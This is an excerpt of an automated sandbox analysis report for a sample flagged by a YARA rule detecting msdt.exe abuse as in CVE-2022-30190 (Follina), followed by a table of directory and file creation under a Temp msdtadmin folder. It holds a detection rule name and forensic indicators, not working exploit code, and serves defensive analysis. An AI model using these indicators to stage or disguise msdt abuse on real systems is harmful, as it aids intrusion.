0000000A.00000002.700178209.00000287043D4000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190, Source: 
0000000A.00000002.699853549.000002870412E000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190, Source: 
0000000A.00000002.699747541.0000028704110000.00000004.00000020.00020000.00000000.sdmp, Author: Nasreddine Bencherchali, Christian Burkard

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FF6137375D6 CreateDirect
oryW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FF6137375D6 CreateDirect
oryW

C:\Users\user\AppData read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FF6137375D6 CreateDirect
oryW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FF6137375D6 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 7FF6137375D6 CreateDirect
oryW

C:\Users\user\AppData\Local\Temp\msdtadmin read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FF6137375D6 CreateDirect
oryW

C:\Users\user\AppData\Local\Te
mp\msdtadmin\_D9EB35A3-0CA8-46E1-89FF-
9F854C59364C_

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FF6137375D6 CreateDirect
oryW

C:\Users\user\AppData\Local\Te
mp\msdtadmin\_D9EB35A3-0CA8-46E1-89FF-
9F854C59364C_\inuse

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 7FF613736B19 CreateFileW

File Path Offset Length Completion Count Source Address Symbol

⊘ No disassembly

File Activities

File Created

Disassembly
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